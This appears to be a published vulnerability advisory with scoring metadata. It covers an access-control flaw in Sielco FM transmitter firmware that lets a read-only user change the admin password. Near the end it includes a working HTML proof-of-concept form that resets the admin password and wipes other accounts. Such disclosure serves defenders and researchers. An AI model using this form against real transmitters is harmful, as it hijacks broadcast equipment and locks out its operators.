Gjoko KrsticZSL-2023-5756Sielco Analog FM Transmitter 2.12 Improper Access Control Change Admin Password
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
AI Score
Confidence
High
EPSS
Percentile
18.6%
Title: Sielco Analog FM Transmitter 2.12 Improper Access Control Change Admin Password
Advisory ID: ZSL-2023-5756
Type: Local/Remote
Impact: Security Bypass
Risk: (4/5)
Release Date: 28.03.2023
Summary
Sielco designs and produces FM radio transmitters for professional broadcasting. The in-house laboratory develops standard and customised solutions to meet all needs. Whether digital or analogue, each product is studied to ensure reliability, resistance over time and a high standard of safety. Sielco transmitters are distributed throughout the world and serve many radios in Europe, South America, Africa, Oceania and China.
Description
The application suffers from improper access control when editing users. A user with Read permissions can manipulate users, passwords and permissions by sending a single HTTP POST request with modified parameters and edit other users’ names, passwords and permissions including admin password.
Vendor
Sielco S.r.l - <https://www.sielco.org>
Affected Version
2.12 (EXC5000GX)
2.12 (EXC120GX)
2.11 (EXC300GX)
2.10 (EXC1600GX)
2.10 (EXC2000GX)
2.08 (EXC1600GX)
2.08 (EXC1000GX)
2.07 (EXC3000GX)
2.06 (EXC5000GX)
1.7.7 (EXC30GT)
1.7.4 (EXC300GT)
1.7.4 (EXC100GT)
1.7.4 (EXC5000GT)
1.6.3 (EXC1000GT)
1.5.4 (EXC120GT)
Tested On
lwIP/2.1.1
Web/3.0.3
Vendor Status
[26.01.2023] Vulnerability discovered.
[27.01.2023] Contact with the vendor and CSIRT Italia.
[27.03.2023] No response from the vendor.
[27.03.2023] No response from the CSIRT team.
[28.03.2023] Public security advisory released.
PoC
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
References
[1] <https://www.exploit-db.com/exploits/51365>
[2] <https://packetstormsecurity.com/files/171841/>
[3] <https://cxsecurity.com/issue/WLB-2023040055>
[4] <https://www.cisa.gov/news-events/ics-advisories/icsa-23-299-08>
[5] <https://vulners.com/cve/CVE-2023-45228>
[6] <https://nvd.nist.gov/vuln/detail/CVE-2023-45228>
[7] <https://exchange.xforce.ibmcloud.com/vulnerabilities/253075>
[8] <https://exchange.xforce.ibmcloud.com/vulnerabilities/269708>
Changelog
[28.03.2023] - Initial release
[02.11.2023] - Added reference [1], [2], [3], [4], [5], [6], [7] and [8]
Contact
Zero Science Lab
Web: <https://www.zeroscience.mk>
e-mail: [email protected]
<!--
Sielco Analog FM Transmitter 2.12 Improper Access Control Change Admin Password
Vendor: Sielco S.r.l
Product web page: https://www.sielco.org
Affected version: 2.12 (EXC5000GX)
2.12 (EXC120GX)
2.11 (EXC300GX)
2.10 (EXC1600GX)
2.10 (EXC2000GX)
2.08 (EXC1600GX)
2.08 (EXC1000GX)
2.07 (EXC3000GX)
2.06 (EXC5000GX)
1.7.7 (EXC30GT)
1.7.4 (EXC300GT)
1.7.4 (EXC100GT)
1.7.4 (EXC5000GT)
1.6.3 (EXC1000GT)
1.5.4 (EXC120GT)
Summary: Sielco designs and produces FM radio transmitters
for professional broadcasting. The in-house laboratory develops
standard and customised solutions to meet all needs. Whether
digital or analogue, each product is studied to ensure reliability,
resistance over time and a high standard of safety. Sielco
transmitters are distributed throughout the world and serve
many radios in Europe, South America, Africa, Oceania and China.
Desc: The application suffers from improper access control when
editing users. A user with Read permissions can manipulate users,
passwords and permissions by sending a single HTTP POST request
with modified parameters and edit other users' names, passwords
and permissions including admin password.
Tested on: lwIP/2.1.1
Web/3.0.3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2023-5756
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5756.php
26.01.2023
--><html>
<body>
<form action="http://transmitter/protect/users.htm" method="POST">
<input name="pwd0" type="hidden" value="PWDCHANGED"/> <!-- This will set/modify admin pwd -->
<input name="pwd0bis" type="hidden" value="PWDCHANGED"/> <!-- This will set/modify admin pwd -->
<input name="user1" type="hidden" value=""/> <!-- This will set/modify user1 -->
<input name="pwd1" type="hidden" value=""/> <!-- This will set/modify user1 pwd -->
<input name="pwd1bis" type="hidden" value=""/> <!-- This will set/modify user1 pwd -->
<input name="auth1" type="hidden" value="0"/> <!-- This will set user1 read perm -->
<input name="user2" type="hidden" value=""/> <!-- This will set/modify user2 -->
<input name="pwd2" type="hidden" value=""/> <!-- This will set/modify user2 pwd -->
<input name="pwd2bis" type="hidden" value=""/> <!-- This will set/modify user2 pwd -->
<input name="auth2" type="hidden" value="0"/> <!-- This will set user2 read perm -->
<input name="user3" type="hidden" value=""/> <!-- This will set/modify user3 -->
<input name="pwd3" type="hidden" value=""/> <!-- This will set/modify user3 pwd -->
<input name="pwd3bis" type="hidden" value=""/> <!-- This will set/modify user3 pwd -->
<input name="auth3" type="hidden" value="0"/> <!-- This will set user3 read perm -->
<input type="submit" value="Modify admin pwd, delete all users"/>
</form>
</body>
</html>
Related
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
AI Score
Confidence
High
EPSS
Percentile
18.6%